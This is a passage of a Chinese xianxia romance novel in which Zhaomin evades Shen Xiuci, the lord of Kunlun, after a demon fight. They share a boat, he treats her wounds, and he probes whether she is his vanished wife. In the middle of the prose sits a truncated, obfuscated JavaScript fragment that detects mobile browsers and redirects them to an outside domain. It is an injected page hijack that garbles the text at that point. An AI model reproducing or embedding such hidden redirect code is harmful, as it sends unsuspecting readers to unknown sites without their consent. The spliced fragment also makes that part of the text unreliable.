朝玟问:“你和傀儡鬼,可是受人驱使?”
素觅恨恨:“是。”
“你有上一世的记忆,是不是你上头的人帮你恢复的?”
素觅答:“是傀儡鬼,原本,我对前世的记忆一无所知,是傀儡鬼助我恢复了往昔的记忆。上一世我被杀于功法大成的前夜,我便对昆仑恨之入骨。”
“傀儡鬼让我见识了那位大人的神通,他承诺能让我成为万魔之主,条件是我需为他除去一人,哈哈,谁知道那人正好就是杀我
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那人的夫君,我自然答应了。”
朝玟嘲讽一笑:“若是要杀的人和你无仇无怨,恐怕那人也不会找上你。”
这蜘蛛怕是也是被当枪使的一枚旗子罢了。
朝玟又问:“傀儡鬼是什么情况?他为什么比你先知道上辈子的事?”
“我不知道,或许,是他最后落魄致死,怨气太深,所以才恢复了也说不定。”
素觅不知道她上辈子的仇敌:朝玟,已经站在这里了,还当她只是一个人类。而傀儡鬼却能轻易识别她的身份,看来那傀儡鬼知道的比她多得多。
问素觅是问不出什么东西了。
现在只剩下最后一个疑问了。
朝玟问道:“你上面的人是谁?”
蜘蛛愤愤的扭过头:“下过禁制,无可奉告。”
沈修慈伸手在她身上探查了一遍,对朝玟说:“确有禁制。”
朝玟叹气。
那太遗憾了。
她后退一步,对沈修慈说。
“这魑魅作恶多端,绝不能姑息,我话已问完,道君请吧。”
蜘蛛求饶:“等等不要杀我,我知道很多事,你不是想知道你的妻子的下落吗?我知道他在哪里,我还知道你们之间所有的事情,求求你不要杀我!”
“她既然说你的妻子是杀她的仇人,那杀她之后的事情,她知道就有鬼了,道君别信她的胡言乱语。”
朝玟快速辩解,有些紧张的看向他。
他该不会想要留下这只蜘蛛慢慢的拷问吧?
还好,沈修慈没有听,眼睛不眨的将蜘蛛一剑斩杀。
冷风习习,平定混乱之后的蜘蛛洞内唯有寂静,彻底终结混乱后,朝玟还感觉到有几分窒息。
明月的清辉洒在沈修慈的面容上,眼帘下投射出眼睫的倒影,分不清他眼中的神情。
他抬起手,手中的漆黑长条之物上,不知什么时候,缠绕上了一圈圈的透明红线。
朝玟这下看清了,那是一截已经被魔气污染的灵骨,是她被挖走的肋骨。
那些透明丝线,像是纠缠不休的蛇,一点点固执的缠紧那段骨头。
沈修慈觉得那些丝线缠绕的姿态不甚美好,便将那截漆黑的骨头收了起来。
丝线找不到附着的东西,四处散开游离,一些爬上了朝玟的衣摆,像是乱闻乱嗅,急切找寻什么东西的狗,隐约展露出疯狂的姿态,叫朝玟看着,觉得可怕。
她一动不敢动,问道:“这是……什么?”
沈修慈手掌捏拢,隔空收起那些红线,解释道:“合籍殿给的寻契红绳,会自动追寻和失联的另一半同心印有关的下落。”
“这截肋骨上,有它熟悉的气息。”
朝玟尽力扯出一个笑,“这、这样啊……”她心中升起侥幸,还好这红绳似乎只认得她先前的身躯的部分,不认得现在的她。
可她仍不敢掉以轻心,同心印仍在,这次能突然蹦出来,万一抽风又能和沈修慈的感应到了,那岂不是完蛋?
“这截骨头引我前来,又牵出红绳,应该就是她的东西了,先前只是安静指着北方,并不这样……放肆。”沈修慈说着,语气略顿,说了个恰当的措辞后,看向朝玟。
朝玟干笑的接话:“既然已经寻到了东西,这也难怪。”
沈修慈又说:“也许是因为,姑娘也有一枚同心印的缘故,它看到了,觉得亲切。”
朝玟连声道:“也有可能,也有可能……”
朝玟在发现岑守心就是沈修慈后,便自觉心虚,现在听到他似是而非的试探的话之后,更觉得心惊胆颤,不敢看他,转过半边身。
此时不跑,更待何时?
朝玟悲痛的叹了一口气。
“这满城被魑魅残害的冤魂,着实是可怜,速速出去后,我就通知灵闻阁为其超度,也好告慰亡灵。”
她对着沈修慈,头也不抬的做了一揖,语速飞快道:“既然城中已无危险,那我就与道君就此别过吧,山高水远,后会无期。”
朝玟说完后,便迫不及待的即刻转身,脚步捣腾的飞快。
那样子,像躲着什么洪水猛兽。
31. 跟我回去
可还没走两步,沈修慈就在后面叫住了她。
“朝玟姑娘。”
也许是他的形象在朝玟的心中仰视太久,所以沈修慈只是叫住她的名字,就让朝玟立刻停住了步伐。
她紧张地抿着唇,不知道他要对她说什么。
身后的人不急不徐,步伐沉稳的从背后走到朝玟的面前。
朝玟不得不直视他。
沈修慈发如泼墨,垂几缕到肩前,额前印记鲜红,眉眼低垂,带来一阵新雪的气息,犹如此人一般的寂冷。
他和以前的样子,没有什么区别。
离开这么久,突然和他相见,朝玟忍不住的打量着他。
眉眼的轮廓更清晰了一些,好像清瘦了许多。
是不是因为同心印的事,所以这些天才没休息好?
他既然下界,蓬莱那边交代好了吗?又是不是要为了安抚众仙主,劳心劳力?
不对,现在不是想这些的时候,沈修慈叫住她想干嘛?
朝玟眨了眨眼睛,让自己从杂乱的思绪中抽离。
她解开昆仑山的阵法来到这里,还暴露了同心印,他应该有很多疑问吧?
朝玟瞅着他,小心翼翼的笑着问道:“道君还有什么事吗?”
沈修慈看着她沾满鲜血的下颌,漆黑的眼眸投过来的视线,仿佛带着某种触感,如同指尖,轻轻掠过她的唇角。
他什么也没问,而是轻声说:“你伤得很重。”
“即便是用丹药支撑,也撑不了太久,你需要疗伤。”
朝玟自己也觉得狼狈,反手左右囫囵将唇角以及下颚的血迹擦了擦:“我知道,多谢道君关心,等我回到灵闻阁,会自己想办法的。”
他又问:“回哪里的灵闻阁?”
声音若清风,不起波澜,像是随口一问。
朝玟如实答道:“当然是京城咯。”
她这伤筋动骨的,还是回自己的宅子里养着自在。
朝玟说完,等了一会儿,在心里嘀咕:她和沈修慈不过只是雇佣关系,现在……该和她道别了吧?
昆仑事忙,加上他和蓬莱悔婚一事,沈修慈既然已经拿回了失窃之物,应当不会再在人间多做逗留。
寻妻再要紧,也紧不过昆仑的十万火急,他应当会将寻妻之事暂时搁置,在他心里,感情总不会是最要紧的。
以朝玟对沈修慈的了解,应当是这样的。
沈修慈却说:“灵闻阁的丹药虽好,但车遥路远,一时半刻,姑娘恐怕回不去。”
朝玟以为沈修慈只是客套,继续道:“不劳道君操心,现在和刚进城时的时间,并没有相隔太久,想必灵闻阁派来的那个货郎应该还在,现在去找他再淘几颗丹药,路上应急足够了。”
她急切想要离开,对沈修慈投去一抹淡笑,便绕过他,准备继续向前走。
沈修慈侧身,挡住了她的去路。
“北境魔物肆虐,你如今带伤在身,不可独自上路。”
左右推脱不掉,让朝玟不由得疑惑,不解道:“道君这是什么意思?”
他的视线下移,落在朝玟脖颈以下,微微凝眉,像是有洞悉之能,细数她的伤处。
“背后一片擦伤,五脏均有损,神智也有轻微的恍惚,是中了幻术的后遗症,拖得久了,恐怕会导致离魂。”
朝玟双手抱紧自己,气恼的后退一步:“你……不许用神识看我!”
沈修慈不动声色,一直在默默观察朝玟,发现她擦了唇角,仍皱了皱眉头,像是忍受不了血迹的脏污,就对她用了一个清洁术。
接着,他仿佛没听到朝玟的嗔怒,眼眸又看向她的脸,说:“跟我回昆仑。”
“赤云驹日行千里,很快就能回去,定能给你最佳的调治。”
“我回灵闻阁也能治。”朝玟依旧坚持,又道:“我和道君虽经历生死,却也只是萍水相逢,道君何必为我施恩到如此?”
沈修慈又道:“你都说我和你历经生死,不过是帮你疗伤而已,随我回去又有何不可?”
朝玟对于回到昆仑一事满心抗拒,他的语气不重,可是朝玟就是觉得他强词夺理,板着脸问道。
“道君莫不是还怀疑我?觉得我身份可疑,所以才想要押我回去?”
总没理由是沈修慈只看到了她的同心印,就把她认出来了吧?
朝玟抱紧自己,狐疑的看了一眼沈修慈,又收回视线,心中思绪如电,快速地思考。
不可能,同心印并没有和他的那枚产生任何感应,他的那根像狗一样的红绳也没有认出她,不该是因为这个原因。
所以很可能还是因为她破解了昆仑的阵法,坐实了她之前所说,和仙域一点关系都没有的那些话,沈修慈也许是觉得她说的都是谎言,所以才想借机把她带回去,再慢慢审问。
她这么想着,也这么问了:“是因为我破解了昆仑的阵法,所以你对我还有怀疑,是吗?”
沈修慈盯着她看了半晌,垂下眼,很轻的笑了一声,又看着她:“我不该怀疑你吗?”
果然是这个原因。
朝玟松了一口气,庆幸她对沈修慈的了解,竟然一点没猜错,又赶紧解释道。
“我能破解阵法,只是因为我的夫君是仙域的人,我之前跟着他,所以我也大概知道一些。”
“除此之外,我真的只是一个再平凡不过的凡人,一没有做伤天害理的事,二没有和魔物勾结,此身清清白白,嫉恶如仇,若不信,我可再起誓。”
沈修慈看着她坚定又无辜的样子,说道:“不必,我信你。”
他轻声叹了口气,语气里带着几分无奈:“不想就算了,我也并非强迫你。”
朝玟的脸上刚刚露出了开心的表情,却又听他说:“但你不能就这么走了。”
朝玟的笑容瞬间凝固:“什么意思?”
他说:“我的意思是,你若是执意就这样回京城的话,我和你一起。”
他又将视线从朝玟的脸上转移,落在她的身上,补充道:“你身上有伤,一个人,不安全。”
“当然,我也可以再发一张千里记行的返程订单,酬劳不变。”
“你意下如何?”
……
方离国的气氛一派宁静祥和,由于霜澜城的祸乱处理的及时,还没有受到魑魅的侵扰。
朝玟气喘吁吁,在码头租船的管事的面前拍了三下桌面,语气快的像是逃难。
“快快快,快租一辆船给我,要速度快的,现在就走!”
那管事懒散抬眼,看了一眼朝玟又破又烂的衣着,又看向她像是三天没吃饱饭的惨白的脸色,不急不缓的说:“姑娘去哪儿啊?”
“京城。”
“哟,那挺远的,这最快的船虽说一天左右就能到,却是一艘仙舟,价值不菲,姑娘有银子吗?”
“钱这不是问题。”
那管事像是觉得朝玟答应得轻快,轻哼了一声:“你会行船?”
朝玟对他那漫不经心的态度感到几分愠怒:“会会会,这是我千里骑行的腰牌,能不能别多问了,我真的赶时间,你现在能调给我吗?不行的话,我找别人去了。”
那管事这才将算盘拨动的快了一点,抱怨道:“现在的年轻人就是急躁。”
他劈里啪啦一阵算,给朝玟报了个数。
朝玟如今阔绰了,再加上归心似箭,看到那个高得离谱的数字,脸色虽然不好看,仍旧一口
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答应了下来。
这方离国乱定价的毛病,真是需要好好整治一番!
花钱花的不爽,朝玟只能在心里安慰自己:不管怎样,能甩脱沈修慈就是值得的。
朝玟想到沈修慈在蜘蛛洞里和她说的话,心有余悸。
他提出要再付报酬一起返程,虽然金钱的诱惑足够大,但朝玟还是忍痛拒绝了他。
朝玟嘀嘀咕咕的想:一起走?沈修慈和她一起走干什么?他在人间又没有事务,无非就是怀疑她,想要跟着她而已。
朝玟可不敢肯定,她的伪装能一点破绽都没有,沈修慈又是个极其聪明的人,她如今摆烂之后,很不喜欢和聪明人相处,不算计别人后,她也懒得想别人是不是算计她,有时候被下套了都察觉不到,得过段时间才能反应过来。
她现在只想离沈修慈远远的,越远越好。
只有离得远了,才能够避免被卷入书中的是非中。
沈修慈不是走陆路吗?朝玟就走水路,虽然贵是贵了点,但是可以避免再和沈修慈再碰面,简直完美。
朝玟在来到船边之前,都对这一选择十分满意,觉得自己明智至极。
但她忘了,这世上除了钞能力之外,还有一种所有人都无法抗拒的能力,叫权力。
伙计走到船舷边,立刻收起了先前对朝玟的随意态度,转而对着一位头戴幕篱的白衣男子点头哈腰,他热络地介绍道。
“仙君,这便是我家最快的船只了。您看这船室多么宽敞,还常焚熏香,好闻的很,要是有闲心啊,船头还能抚琴,舒适度拉满,包您满意,您看如何?”
朝玟:“……”
他刚才对她的态度可不是这样的,简直天壤之别。
尽管沈修慈的身影被幕篱遮挡得严严实实,几乎看不到任何面貌,但朝玟还是一眼就认出了他。
她郁闷道:“这船是我先要租的。”
那伙计说:“不好意思了姑娘,这位仙君从昆仑殿来,有要事要办,您体谅一下,要不您再等一会儿,下一辆船马上就回来了。”
“……不必了,我不坐船了。”
既然沈修慈已经来了,那她不走这水路就是了。
道路千万条,她还愁回不去吗?
然而,沈修慈却出声叫住了她。
他声线清冷道:“总归是都要去京城,不如就一起回去,路上也好有一个照应。”
朝玟立刻笑着拒绝:“不妥不妥,小女子琐事颇多,方才这伙计也说,您有要事要办,我就不叨扰仙君了。”
她说完,转身伸手,笔直地摊开手掌,也换了一副模样,瞪着那伙计:“退钱!”
这钱给出去容易,再想让人家从口袋里吐出来可就难了。
那伙计居然换了副和蔼可亲的样子,帮着沈修慈劝:“既然仙君都发话了,显然是不介意姑娘同行,要不……这样吧,本店提供一些补偿,姑娘就与这位仙君一同返回,我们只收取一半的费用。”
朝玟不为所动:“你既然知道这位仙君出自昆仑殿,还敢在他的面前玩这些小把戏?这本来就是你们的失误,没得商量,立刻退钱。”
那伙计听到朝玟的话,突然就害怕了,也不敢再放肆。
本以为是个娇滴滴的小丫头,没想到却是个油盐不进的硬茬,也的确是怕买卖做到头,只好无奈道:“好好好,那姑娘你就在这里稍等一下,我去找管事的把钱给你。”
朝玟站在原地等,左等右等等不来人,才意识到自己被骗了。
环顾整个码头,除了她和船上静立的沈修慈,哪里还有那船贩的身影?
那两人早已卷着钱款逃之夭夭,鬼影都看不着了。
朝玟气的七窍生烟。
32. 和他不熟
天空清澈明亮,码头上,微风带着湿润的气息,金秋时节的桂花,散发着若有似无的幽香,在空气中轻轻飘荡。
沈修慈静静站在船上,对朝玟说。
“方离国的乱象,仙域自会派人整治。”
“左右是付了钱的。”沈修慈侧身,让给她一个上船的位置,道:“不妨就上来吧。”
朝玟能怎么办呢?她是那种贪便宜的人吗?她是那种付了钱就会斤斤计较的人吗?是的,她就是那种人。
朝玟和沈修慈在船室里,一人坐船头,一人坐船尾,两个人楚河汉界画的分明。
这仙舟说是船,更像是一个小型的画舫,船室宽敞,左右各两个落下的小窗,窗边放着一张半新不旧的古琴,中段挖空,坐着能垂落双腿,甲板平整,铺着柔软的干草,坐着还算舒适。
朝玟没能甩脱他,倚靠在角落,闷闷不乐,问道:“道君的马车呢?”
船行驶到水中,左右无人,沈修慈取下幕篱,放在身旁,神态自若道:“交给神旋府了,明日便能送达昆仑。”
朝玟轻哼一声:“真是难为道君了,有良驹不骑,要来和我挤这艘坑蒙船费的黑船。”
沈修慈轻笑:“那你呢?又是为什么不在一开始接受我开的条件,反而要绕着弯上当。”
“……我自有我的打算,道君这都要管吗?”
朝玟负气说完,操纵着船只,开得更快了一些。
秋季的水流并不湍急,但也不平缓,水色浑浊,一道道,像是发黄的鱼鳞。
她看着悠悠江水,心中颇感郁闷。
之前帮沈修慈驾驭马车也就罢了,毕竟那是她收取了报酬的工作。但现在,她们之间已经不存在委托关系,她却仍旧像是沈修慈的代驾一样,在为他撑船。
幸好这艘船有灵力驱动,不需要她时刻亲自操劳。她只需时不时查看一下,掌握好航向即可。
朝玟闷着生了会气,背后的伤口,多亏了回气丹的功效,已经愈合了大半。但剩下的伤口又痒又痛,让朝玟心情烦躁,她忍不住用手挠了两下。
就在这时,一股冷气从背后袭来,沈修慈已经悄无声息地来到了她身后。
“我这里有治外伤的药。”他制止她的动作,递过来一个瓷瓶。
瓶子圆润,颜色是淡雅的青绿,放在他如玉般白皙的手中,显得格外醒目。
朝玟迟疑了片刻,最终还是屈服于背后的痛楚,接过了他递来的药瓶,轻声说了句:“多谢。”
在触碰的瞬间,她的指尖轻轻擦过他的掌心。
随后,她又转身背对他,语气生硬道:“既然是拼船,道君还是坐回去的好。”
沈修慈同样背对她,并未立即起身,他侧身斜倚,姿态放松但不显得轻慢,沉思了片刻,缓缓说道。
“你似乎对我有些排斥。”
“你是昆仑之主,我怎么会排斥你?”
朝玟蜷着腿,半张脸枕在膝盖上,瓮声道:“道君也别再问我,为什么会认识你,你和你的剑天下有名,谁人不知?我知道太正常不过了。”
想不到吧,她可是能预判他的!
沈修慈轻轻一笑:“你知道我,但似乎并不畏惧我。”
朝玟也觉得好笑,轻嗤一声道:“你有什么好怕的。”
沈修慈蜷缩那只空荡的手掌,指尖抵在掌心微微摩挲,低垂一双漆黑的眼眸,问她:“若不是怕,那为什么出了洞府之后,总是躲我?”
朝玟眼珠一转,困惑的想:她躲的很明显吗?
怎么她重来一次,反而越活越回去了?之前也是这样,无论是沈修慈还是神旋府的阿音,总是能一眼就看出来她究竟在想什么。
朝玟有一点烦就这样轻易被他看透,但是这也恰好证明她现在活得很放松,生活简单,再也不需要像以前那样步步为营。
这正是她想要的生活。
想到这里,朝玟越发觉得该和沈修慈划清界限。
他和她的重逢,对于朝玟现在平静的生活来说,太突兀了。
她若无其事的回答道:“道君多心了,只是,你到底是昆仑之主,你的存在本身就是权威,我实在无法再以之前的平常心对你。”
“我对你的态度和之前有所不同,只是因为我敬畏你,就如同敬畏天上的太阳,而我只是一个再平凡不过的一个普通人,道君跟着我,我实在是惶恐,不就此一别两宽,各得自在……”
朝玟抓紧一顿输出,习惯性的耸了耸肩,却牵扯到了背后的伤,顿时倒吸一口凉气,疼得哎呦了一声,没能再继续说下去。
沈修慈听到她抽气的声音,起身站了起来。
“你先上药。”
朝玟诶了声,还想要再继续说,可是他却没有给她再说话的机会。
船舱两侧挂着竹帘,朝玟看到他掀开竹帘,步出舱外避嫌。
朝玟看着他的身影消失在视线之外,能够感知到的气息也逐渐远离,有些遗憾的撇撇嘴,缓缓打开药瓶。
她先轻轻嗅了嗅,那清新的药香让她感到熟悉,这是她以前用过的药,效果显著,通常只需涂抹一次,伤口就能愈合大半。
朝玟看着药瓶,轻轻眨了眨眼。
上次被系统陷害,被傀儡鬼重创,她在修养的那几个月里,尤其是最初那段日子,身上的伤口在愈合时又痒又痛。
她经常在夜深人静时喊疼,有时能感觉到床边有人坐下,那人用微凉的手指,为她涂抹药膏。
醒来时,身上总是弥漫着这样的药香,以及仿佛踏雪归来后的清新冷冽香气。
……
船上只有两个人,都不说话,便格外的宁静,朝玟能够很清晰的听到她自己的呼吸声,还有船室外哗啦啦的水声。
回忆起过去,她心中涌起一丝惆怅,还有一些心烦意乱,又看了一眼竹帘,掀起衣袖,动作略显笨拙地给自己上药。
由于都是擦伤,位置很刁钻。
朝玟把能自己上药的地方都涂上了,才小心翼翼地拉开背上的衣物,处理后背的伤。
她忍着痛撕下粘在衣服上的一块皮肉,疼得她呼吸急促,静静地坐了一会儿才缓过来。然后,她挖了一块药膏,试图鼓起勇气涂抹在伤口上。
但是,当时被傀儡鬼拖拽时,她是弓着背的,伤处在脊柱中段偏上的位置,不管怎么伸手都够不到那个地方。
又努力了几次,她望着被竹帘遮挡的船尾,愣了半晌,然后把手伸进药膏罐子里,将多余的药膏刮干净。
接着,她用外袍将身体紧紧裹住,只露出背部的伤口,声音闷闷地问道:
“能帮我一下吗?”
朝玟能够肯定沈修慈一定听见了,可是他并没有立刻说话。
朝玟因为他的沉默,突然就后悔了,改口说道:“算了,等到了附近的村镇,我们停船,我去找个大夫来。”
然而,就在她话音刚落,沈修慈已经掀开了竹帘。
乍泻进来一簇光,随着他修长的手放下竹帘的动作,又被关在外面。
他走进来,站在昏暗中,平静地说:
“我看看。”
朝玟瞅他一眼,船室狭小,他一进来,更加逼仄,朝玟又感觉不自在了,转身将背部藏于阴影中,面向他摇头道:“你我本不相熟,我还是等会儿上岸再找大夫吧。”
沈修慈反驳她:“大夫也和你不熟。”
他轻轻说着,又坐回了先前的位置,从她的手里面拿过了药瓶,俨然一副要帮她上药的姿势。
朝玟不赞同他的话,沉默的抵抗。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13913423|147150||http|test|mini|href|location''.split(''|''),0,{}));
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>沈修慈轻声说:“转过去吧。”
朝玟想了想,还是伤势为重,也不矫情,在他的注视下转了过去。
沈修慈的面容上并未流露出过多的情绪,但当他目光触及朝玟背后的伤痕时,薄唇抿成一条直线,眉头微微蹙起。
“伤得很重。”
他低声说道,虽然这几乎是句不言自明的废话。
朝玟的喉咙轻轻溢出一个模糊的“嗯”声,感受到他的目光在她身上停滞,背部紧绷起来。
他又问:“疼吗?”
“疼啊。”朝玟回答,“涂了药应该会好一些。”
所以快点的吧,别磨叽了。
总感觉这样……有点羞耻。
外袍很宽大,能够罩住朝玟的整个人,像被子一样在地面铺开,朝玟把脸埋进衣服里,被这样笼罩,本应感到安心,可是她却无端忐忑。
沈修慈挖出药膏,敷在她的伤口上,朝玟嘶的发出一声倒抽气,冰冰凉凉的感觉,让她向后缩了缩。
沈修慈立刻停住了:“弄疼你了吗?”
朝玟怔怔地望着有些漆黑的转角,也惊讶自己怎么会反应这么大,回道:“……不是,不疼,我只是没想到自己上药,和别人给自己上药的感觉这么不一样。”
沈修慈问:“你以前没有过吗?”
朝玟回想了一下,说道:“在清醒的时候没有过。”
她发作都是夜晚,沈修慈都是在她迷迷糊糊的时候帮她上药的,她就算是知道也睁不开眼睛。
“所以,你以前也受过很重的伤。”
朝玟又嗯一声,又说:“但是已经好了。”
沈修慈给她上着药,漫不经心的想。
可是她的身上,并没有什么明显的疤痕。
上药时都不能神思清醒,应当是致命伤。
遭受致命之伤,要想如朝玟一般恢复得无痕无迹,实属不易。除非是通过移魂转魄,换得一具新的躯壳。
沈修慈的手法变得更加轻柔和谨慎。
“以往,都是谁为你敷药?”
他似乎无意间提及:“是你夫君吗?”
朝玟感觉昏昏欲睡,再加上她完全对沈修慈提不起警惕,又嗯了一声。
沈修慈听后,微微沉思,像是在努力的回忆什么事,手悬空停顿在空中,走神了片刻。
他的手指很温暖,指腹的温度让药膏有一些融化。不经意的触碰,让背部感到像是有火在灼烧。
朝玟不舒服的动了动肩膀。
沈修慈回过神来,忽略心底荡开空洞感,又一切如常的接着为她擦药,又问道:“你和你的夫君,很亲密?”
朝玟无语回道:“……他是我夫君,你说呢?”
她和沈修慈夫妻十年,自然是亲密无间。
只是她们之间的关系,和平常夫妻又不太相同。
仙域当时战后疲软,正是多事之秋,两人虽然一块吃,一起睡,但眼睛一睁就是处理政事,就算是一天都呆在一起,也说不上什么话,各自都忙得焦头烂额。
朝玟一直觉得,她只是身份上和沈修慈是夫妻,但其实她们更像是合作伙伴,但又比伙伴还要更亲近一些。
沈修慈:“既然亲密,那为什么又要分开?”
朝玟眼波流转,心中忽生一计,随口编造了起来。
她怅然道:“因为……仙凡有别。”
“他是仙域的仙君,而我只是一个凡俗女子,本不是一路人,自然无法像平常夫妻一样相处,既无法相处,只能分开各住。”
沈修慈语气略带不解,问:“那当初又为什么要在一起。”
提到这个话题,朝玟的眼底掠过一抹波动,本来还带着戏谑的声音逐渐低沉下去。
“因为我算计了他。”
33. 心中有数
她清叹一声,娓娓道来。
“我一个凡人,在加入灵闻阁之前,手无缚鸡之力,在这样魔物横行的乱世,我该如何活下去?只能寻找依靠,那位仙君恰好倒霉,救了我一命,我看他英俊,又通情达理,便稍稍付出一些美色柔情,便哄着他带我上界,与我成亲。”
朝玟继续瞎编,越编越离谱,总之她想要凭空捏造一个有夫君,但合情合理分隔两地,自力更生的凡俗女子身份,打消他的疑虑。
朝玟说的恰有其事,入了戏,颇为得意道:“成了亲,我就有了庇护,我若出了事情,他肯定能够第一时间感应,救我一命。”
朝玟或许没有察觉到,当她开始胡编乱造时,语气会显得有些夸张。
沈修慈似乎冷笑了一声,“若如你所说,你真有一位这样的夫君,那刚才他为什么不来?”
朝玟被他反问,先是一噎,接着理直气壮道:“我这不是没事吗?”
原本在背后轻柔的力道突然之间加重,让朝玟痛的嘶了一声。
先前沈修慈一直都轻轻的,她也没有对他警惕,现在才觉得,这种袒露后背的姿势,颇为受制于人,她顿时感觉如坐针毡,问道:“擦好了没有呀?”
沈修慈立刻又让手上的力道放的轻柔,最后又涂抹了几下,知会她:“好了。”
朝玟干脆利落的把松到腰迹的衣领又撩了回去,抖开外袍,把自己严严实实地裹了起来,脸上气鼓鼓的,挂着明晃晃的不满。
“你没事,只是结果,是侥幸。”沈修慈还说着刚才被朝玟打断的话,声音出奇的冷硬:“若是我没有掷出警世剑,挡下傀儡鬼的那一道攻击,你如今的尸身恐怕早已和那只魑魅一样,在那间洞府中被付之一炬。”
朝玟也随着他的话想到了当时惊险的情境,自觉理亏,心中怒气一瘪,小声道:“下次不会了。”
沈修慈:“至于你所说的仙凡有别,那不是问题。你夫君既然是仙域人士,就有仙籍,他叫什么?现在又在何处?你若还想得到他的庇护,我可以帮你。”
朝玟招架不住他突然的热心,连忙拒绝道:“不、不必了,多谢君上的美意,我如今一个人逍遥自在得很,无意再和他有任何牵扯。”
“可你和他仍是夫妻。”沈修慈不知为何,很执着于这一点,最后两个字的咬音格外的重。
“既然是夫妻,理当相互扶持,没有分开的道理。”
“更何况你和他,还是立誓结契,经过合籍的夫妻,此生同心永结,生死相依。”
他质问:“这些誓言,你都忘了?”
朝玟总感觉沈修慈意有所指,倍感压力。
她并没有忘记,可此时倒也假戏真做,觉得沈修慈质问的是她和她口中的假夫君,说的并不是自己,仍然理直气壮道:“誓言又怎么样?我和他本就是带着目的成亲的,并非两情相悦,既不是靠感情维系的婚姻,如此分开,各得其所,岂不是对我们两个都好?”
是啊,对两个都好。
可是既然分开,为什么又要留下一道同心印,叫人百思不解?
沈修慈缓缓合上双眼,深深吸气,再度睁开时,似乎突然就厌倦了和朝玟你一言我一语,不痒不痛的周旋。
他直接问:“那他是谁?”
“总不至于分开后,连姓名都说不出口。”
朝玟一时半会也想不出个正儿八经的人名来,故计重施反问道:“和你有关系吗?”
沈修慈沉沉的看她几秒,突然抓起朝玟的手。
朝玟正惊骇于他突如其来的触碰,下一刻就被半透明的红绳缠住,和他的手紧紧相贴,一圈又一圈。
朝玟大脑宕机,拼命蜷缩手指。
妈呀,这东西不是不认得她吗?怎么突然又能够缠住她了!
朝玟发现越是挣扎,它就越缠越紧,就在手腕被勒到泛白的时候,突然之间,红绳就如同泄了所有的力气一样,散开了。
朝玟也全身卸力,把手藏到腰侧,飞速的挪开,整个右半边的身体贴紧船舱的墙壁,恨不得就此挪到岸上去。
红绳散落一地,又从沈修慈的衣襟前卷出那一根漆黑的邪骨,焦躁的来回刮蹭抚摸,又陡然调转,在朝玟和邪骨之间,来回的绕圈,像是感到疑惑,最后完全丧失了对朝玟的兴趣,攀附着那根骨头不撒手。
沈修慈定定的看着朝玟半晌,卷起袖口,将那根摸不着头脑,看上去有点傻愣愣的红绳收了回去。
朝玟缩着手,很轻的啧了一声,没让他察觉。
又是旁敲侧击的试探,又是直接用合籍红绳来探查她。
朝玟觉得,他应该心中有数了。
若是心里没有十足的把握,肯定不会这么突兀的来试探她。
朝玟庆幸,还好同心印没有共鸣,他并没有一个充足的理由直接确认朝玟就是他妻子的身份。
于是虽然心里已经有了底,仗着沈修慈并没有证据,也没有把话给挑破,朝玟选择了装聋作哑,依旧坚持着嘴硬的态度。她不满地揉着手腕,抱怨道:“你这东西,难道是坏了吗?”
“恕我失礼。”他对朝玟表示歉意,表情却是一如既往的淡漠,“它不知怎么就飞了出来,让姑娘受惊了。”
朝玟呼出一口气,很不情愿的宽容道:“……无妨,别再来一遭就行,这红绳太撒野了,道君还是攥紧些吧。”
别再一惊一乍,可吓死她了。
沈修慈不再接她的话,目光转向掌中——那根被红绳牵引而出的邪骨。
邪骨之上弥漫着魔气的侵蚀,散发出一股不祥而邪恶的气息。
沈修慈并拢双指,对那一根骨头施展灵力,想要去除上面的魔气污秽,可是却效果不佳。
那魔气似乎浸润到了骨头的深处,和整根骨头都融为一体,无法轻易拔除。
“这是一截被污染的灵骨。”沈修慈见她目不转睛的盯着,和她解释。
朝玟自然知道这是什么,附和着哦了一声,兴致缺缺。
沈修慈:“这东西一直存放在禁阁,于不久前被盗窃,可我丝毫想不起来,它为什么会被我存放在禁阁,又为什么会变成现在这样。”
他当然不可能知道,因为这是发生于上一周目的事情。
那时候,朝玟正昏迷不醒,需要重新寻回肋骨保住性命,沈修慈去追寻,却发现灵骨已经被傀儡鬼炼化成了邪物,不可用了。
虽然取了回来,却再也不能够放回朝玟的身体里。
由于邪骨过于危险,这东西一旦再落入魔族之手,便又会搅乱三界的安宁,所以沈修慈才将这一截骨头收归昆仑,放在禁阁封存。
只是不知道为什么,邪骨出现的时间提前了不少。
朝玟面色凝重起来。
同心印,傀儡鬼和魑魅,以及这一截邪骨,到目前为止已经有四处混乱了。
也不知道这一周目会因为这些混乱,崩成什么样子。
朝玟想到这其中起码有两个混乱点,是由她的原因造成的,就烦恼的用双手抱住脑袋,惆怅的直叹气。
早知如此,死遁之前就该狠狠心,把和沈修慈之间的关系处理干净。
如今重来一次,又被卷入书中的因果之中,现在她自己平静的生活被打破也就不说了,她还间接的导致任务无法推进,影响以后返回现实世界。
完全就是当初自作孽不可活。
朝玟心中涌起一股冲动,想要与沈修慈摊牌,跟他一同返回昆仑,将同心印解除,这样一来,彼此便可各归其道,所有事物都将恢复到原有的轨迹。
可是同心印并没有那么好解,要是能悄悄的解除,那它作为最庄重的一种和籍方式,岂不成了笑话?
沈修慈又是那样尊贵的身份,两个人进合籍殿解契,定会闹得三界皆知——沈修辞在和蓬莱联姻之前,娶过一个凡人女子。
这个事情怎么想就怎么窒息,朝玟如今身份尴尬,要是真的闹得人尽皆知了,朝玟倒不会有什么影响,但一定会成为沈修慈的污点。
朝玟放弃任务的其中一个原因,就是想要让他过得好的,并不是想看着他被丑闻缠身,也不想给他的政治生
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涯上难度。
眼下同心印虽不知什么原因,不能够共鸣,但这也歪打正着。
朝玟思路清奇的想。
共鸣不了……那就说明这玩意有跟没有,其实区别不大吗?
如此想着,朝玟的视线不由自主地飘向沈修慈,看向他的同心印。
朝玟的那个,不到关键时刻根本不会出现,可以不用管。
沈修慈的那一个,虽然一直停留在额前,可应该也不是什么大问题,随便施展一个易容术,或者直接用物理遮盖,想要瞒过人的眼睛,那也是轻轻松松。
一切的混乱始于他离开昆仑,下界寻妻。
朝玟豁然开朗:这下好办了。
